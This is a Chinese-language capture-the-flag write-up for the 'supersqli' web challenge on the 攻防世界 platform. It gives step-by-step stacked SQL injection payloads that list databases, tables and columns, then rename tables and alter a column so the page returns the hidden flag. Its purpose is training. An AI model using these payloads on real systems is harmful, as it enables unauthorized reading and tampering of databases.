攻防世界之Web_supersqli

题目

攻防世界之Web_supersqli

 

 

 本题考查sql注入传送门https://www.cnblogs.com/shacker/p/15917173.html

按照SQL注入一步一步执行

攻防世界之Web_supersqli

 

 

 发现有2个列

然后用union select联合查询,然后发现过滤了一些关键字,传送门上篇将的就是毫无防护的白给,这题虽然也用来正则匹配来过滤

但这样只是稍微麻烦一丢丢

攻防世界之Web_supersqli

发现上面的关键字都被过滤不能使用了,没法进行注入,这个时候尝试一下堆叠注入

现在回到这道题,利用堆叠注入,查询所有数据库

  注入命令:1';show databases#           查询所有数据库

攻防世界之Web_supersqli

 

 

 显然,这题选择supersqli爆库

注入命令:1'and 1=2;show tables from supersqli#     爆出所有表

攻防世界之Web_supersqli

 

 

 然后,选择1919810931114514表,爆表

注入命令:1'and 1=2;show columns from `1919810931114514`#   ps:字符串作为表名需要加反单引号

爆出列名flag

攻防世界之Web_supersqli

 

 

 最后一步就是爆数据。

根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id

这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag

将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段

注入命令:1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
这段代码的意思是将words表名改为words1,1919810931114514表名改为words,将现在的words表中的flag列名改为id 然后用1' or 1=1 #得到flag
攻防世界之Web_supersqli

 

 ============================================================================================

总结:遇到过滤sql语句的时候,尝试使用堆叠注入,利用漏掉的sql语句配合进行注入攻击。



 

上一篇:python垃圾回收机制


下一篇:mysql sql性能测试